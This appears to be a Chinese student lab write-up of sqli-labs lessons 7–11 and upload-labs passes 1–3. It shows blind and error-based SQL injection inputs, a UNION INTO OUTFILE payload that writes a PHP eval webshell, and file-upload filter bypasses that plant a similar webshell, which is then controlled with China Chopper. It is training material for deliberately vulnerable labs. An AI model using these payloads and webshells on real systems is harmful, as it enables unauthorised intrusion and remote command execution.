文章目錄
- 一、sqli-labs: less7-11
- 二、upload-labs1-3
一、sqli-labs: less7-11
-
less8-GET-Blind-Boolian Based - Single Quotes
-
首先分別用id=1’和 id=1"進行測驗


輸入1’和1"結果不同,顯然是字符型,然后思考,按理說若閉合符錯誤應產生錯誤資訊,但此處未顯示,程式設計人員很可能把mysql的報錯資訊壓制了,但是可以肯定當閉合符錯誤時不會產生任何資訊,且猜測sql陳述句為:select xxx from xxx where id='1’
當我們輸入1’時,sql陳述句為select xxx from xxx where id=‘1’’,顯然此時多了一個’,sql陳述句會報錯,當我們輸入1’%23(即#)時,sql陳述句為select xxx from xxx where id=‘1’#’,此時,后面的’被注釋掉,不會報錯,如下圖,因此我們判斷閉合符為’,注意當輸入id=1"%23時依然能照常執行,此時sql陳述句為select xxx from xxx where id=‘1"#’,理解為閉合符優先級高于#,所以此時#不再當為注釋符處理,而是普通字符,

-
接下來進行布爾盲注


采用二分法爆破資料庫名長度


由此判斷位數為8,接下來依次使用二分法爆破每一位的字母


由此可得第一位字母ascii碼為115(base10),為s,接下來利用相同的方法爆破其他位依次為ecurity
-
-
less9-GET-Blind-Time Based -Single Quotes
-
首先用id=1’和id=1"進行測驗,發現都會顯示You are in…,故猜測要么為數字型,要么是由于程式設計原因無論sql陳述句正確與否都顯示You are in…


-
利用sleep函式進行延時注入,首先判斷引數型別和閉合符,發現id=1’時網頁轉了幾秒后才回傳,而id=1"時,網頁立刻回傳,這說明,id=1"時sql陳述句報錯,故可以立即回傳,而id=1’時,可以查詢到結果,故3秒后回傳,所以判斷’為閉合符,道理同less8中相同


-
在b的基礎上添加and條件爆破資訊


得出庫名為8位


得出第一個字母為s,其余位按照同樣的方法爆破出ecurity
-
-
less7-Dump into Outfile
-
首先修改my.ini檔案

-
判斷閉合符




故判斷閉合符為’))
-
利用聯合查詢注入小馬
?id=1’)) union select 1,2,"<?php eval($_GET['cmd'])?>" into outfile ‘c:/phpstudy/www/shell.php’%23
注意windows路徑不區分大小寫
雖然陳述句報錯,但可以發現shell.php確實成功寫入




木馬執行成功
-
-
less10-GET-Blind-Time Based -Double Quotes
與less9思路相同,只不過閉合符由單引號變為了雙引號,故不再贅述,猜測閉合符時若單雙引號都不是,在引號后面加若干右括號進行測驗
-
less11-Error Based-String
-
在密碼框中測驗閉合符

發現閉合符就是’
-
猜測和構造sql陳述句 select xxx from t_users where uname=‘xxx’ and pass='yyy’
構造select xxx from t_users where uname=‘xxx’ and pass='yyy’or 1#'
用戶名隨意輸入,在密碼框中輸入**yyy’ or 1#**后結果為下圖,可以看出顯示了一條查詢結果,但實際上后端查詢結果是user表的所有記錄,只是在前端只渲染了一條記錄,那我們該如何獲取所有記錄呢?

一種方法是通過limit m,n來限定查詢結果從而獲得每一條記錄,如下圖,輸入**yyy’ or 1 limit 1,1#**后結果為

-
二、upload-labs1-3
-
pass-01(前端js驗證檔案后綴名)

-
首先嘗試上傳shell.php,內容為:
<?php echo "I've got a shell"; eval($_REQUEST ['cmd']); ?>發現不允許上傳

-
通過burpsuite攔截改包,將jpg改為php,然后將攔截放開,可以看到木馬上傳成功


-
利用中國菜刀控制被攻擊機
添加木馬url

可以看到已經可以進入被攻擊機

-
在桌面上新建以自己姓名學號命名的檔案,進入桌面路徑,在空白區域右擊新建檔案即可

可以看到已經新建了一個檔案,將其名字進行修改即可

-
查看靶機ip
右擊進入虛擬終端執行ipconfig命令


-
-
pass-02(限制content-type)

-
查看php原始碼,發現只允許上傳三種型別的檔案

-
上傳shell.php,內容為:
<?php echo "I've got a shell"; eval($_REQUEST ['cmd']); ?>利用burpsuite抓包改包,將content-type改為image/png

此時可發現小馬已上傳成功

-
-
pass-03
-
查看原始碼可知,該檔案上傳驗證為后端黑名單過濾,故考慮繞過黑名單

-
查看apache的組態檔httpd.conf,發現除了php后綴名,還可以上傳phtml后綴名的檔案,要把前面的#洗掉,并重啟服務

-
嘗試上傳shell.phtml,上傳成功


-
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/290006.html
標籤:其他
